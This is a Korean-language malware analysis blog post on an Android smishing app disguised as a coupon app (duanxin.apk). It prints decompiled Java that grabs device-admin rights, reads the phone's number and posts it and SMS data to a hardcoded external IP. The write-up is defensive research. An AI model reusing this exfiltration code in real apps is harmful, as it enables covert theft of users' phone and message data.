아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. |
1. 개요
2. 분석 내용
설치된 duanxin.apk을 실행 시키면, 아래와 같이 관리자 권한을 요구한다.
관리자 권한을 승인하면, [사용자가 많아 접속을 할 수 없습니다]라는 메시지만 보여주면서 화면에는 별다른 내용이 표시되지 않는다.
API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있다.
User Permission (악성 APP이 요구하는 권한 정보) |
android.permission.SEND_SMS android.permission.READ_PHONE_STATE android.permission.RECEIVE_SMS android.permission.INTERNET |
com.Copon.MainActivity를 살펴 보면, getLine1Number()를 이용하여, 악성 앱이 설치된 디바이스의 전화번호를 획득한다. 획득한 전화번호는 http://126.114.224.160/duanxin/login.php으로 전송하게 된다.
public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setTitle("Coupon Pro"); setContentView(2130903040); startService(new Intent(this, clService.class)); TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone"); SMS.usehost = "http://126.114.224.160/duanxin/login.php"; SMS.ponNum = localTelephonyManager.getLine1Number(); SMS.towNum = "OK!!!"; SMS.comten = "설치성공."; this.mDPM = ((DevicePolicyManager)getSystemService("device_policy")); this.mDeviceAdminSample = new ComponentName(this, Lycreen.class); if (!this.mDPM.isAdminActive(this.mDeviceAdminSample)) getAdmin(); AlertDialog.Builder localBuilder = new AlertDialog.Builder(this); localBuilder.setTitle(2131165188); localBuilder.setMessage(2131165189); localBuilder.setNegativeButton("확인", new DialogInterface.OnClickListener() { public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) { MainActivity.this.finish(); } }); localBuilder.create().show(); } |
확인된 IP로 네트워크 연결 및 데이터를 보내는 부분은 아래와 같이 com.Copon.tool클래스의 getHttpConnection() 와 postHttpConnection()에서 담당한다.
public class Tool { private final String DEBUG_TAG = "tool"; public String getHttpConnection(String paramString) { Object localObject1 = ""; Object localObject2 = ""; try { URL localURL1 = new URL(paramString); localURL2 = localURL1; if (localURL2 == null); } catch (MalformedURLException localMalformedURLException) { try { URL localURL2; HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL2 .openConnection(); InputStreamReader localInputStreamReader = new InputStreamReader (localHttpURLConnection.getInputStream()); BufferedReader localBufferedReader = new BufferedReader (localInputStreamReader); while (true) { String str1 = localBufferedReader.readLine(); if (str1 == null) { localInputStreamReader.close(); localHttpURLConnection.disconnect(); if (localObject2 != null) localObject1 = localObject2; return localObject1; localMalformedURLException = localMalformedURLException; Log.e("tool", "MalformedURLException"); localURL2 = null; break; } String str2 = localObject2 + str1 + "\n"; localObject2 = str2; } } catch (IOException localIOException) { System.out.println(localIOException); Log.e("tool", "IOException"); return localObject1; } } Log.e("tool", "Url NULL"); return localObject1; } public String postHttpConnection(String paramString1, String paramString2, String paramString3, String paramString4) { HttpPost localHttpPost = new HttpPost(paramString1); ArrayList localArrayList = new ArrayList(); localArrayList.add(new BasicNameValuePair("num1", paramString2)); localArrayList.add(new BasicNameValuePair("num2", paramString3)); localArrayList.add(new BasicNameValuePair("com", paramString4)); try { localHttpPost.setEntity(new UrlEncodedFormEntity(localArrayList, "UTF-8")); HttpResponse localHttpResponse = new DefaultHttpClient().execute (localHttpPost); if (localHttpResponse.getStatusLine().getStatusCode() == 200) return EntityUtils.toString(localHttpResponse.getEntity()); return "连接失败"; } catch (ClientProtocolException localClientProtocolException) { localClientProtocolException.printStackTrace(); return ""; } catch (IOException localIOException) { localIOException.printStackTrace(); return ""; } catch (Exception localException) { localException.printStackTrace(); } return ""; } }
|
duanxin.apk의 소스코드를 살펴 본 결과 초기 단계인지 모든 내용이 구현되어 있지 않은것으로 판단된다. 앞에서 살펴본 권한을 토대로 본다면, Receiver가 존재해야 한다. 소스코드를 살펴 보면, com.Copon.SMS 클래스와 com.Copon.Lycreen 클래스가 SMS 정보등을 전달하는 Receiver역할을 할것으로 판단된다.
해당 악성 앱은 현재 (2013년 5월 24일) 바이러스 토탈에서 47개의 안티바이러스 엔진 중 15개만 탐지하고 있는 상태이다.
[Android Malware] 스타벅스 쿠폰 위장 악성 앱 (sb.apk) 분석 (0) | 2013.07.01 |
---|---|
[Android Malware] 알약 모바일 백신 위장 변종 (danal.apk) 분석 (0) | 2013.05.29 |
[Android Malware] 무비사랑 (MvLove_c.apk) 분석 (0) | 2013.04.22 |
[Android Malware] 롯데리아 쿠폰 위장 (lotteria_cp.apk) 분석 (0) | 2013.04.21 |
[Android Malware] 알약 모바일 백신 위장 스미싱 (alyac.apk) 분석 (0) | 2013.04.21 |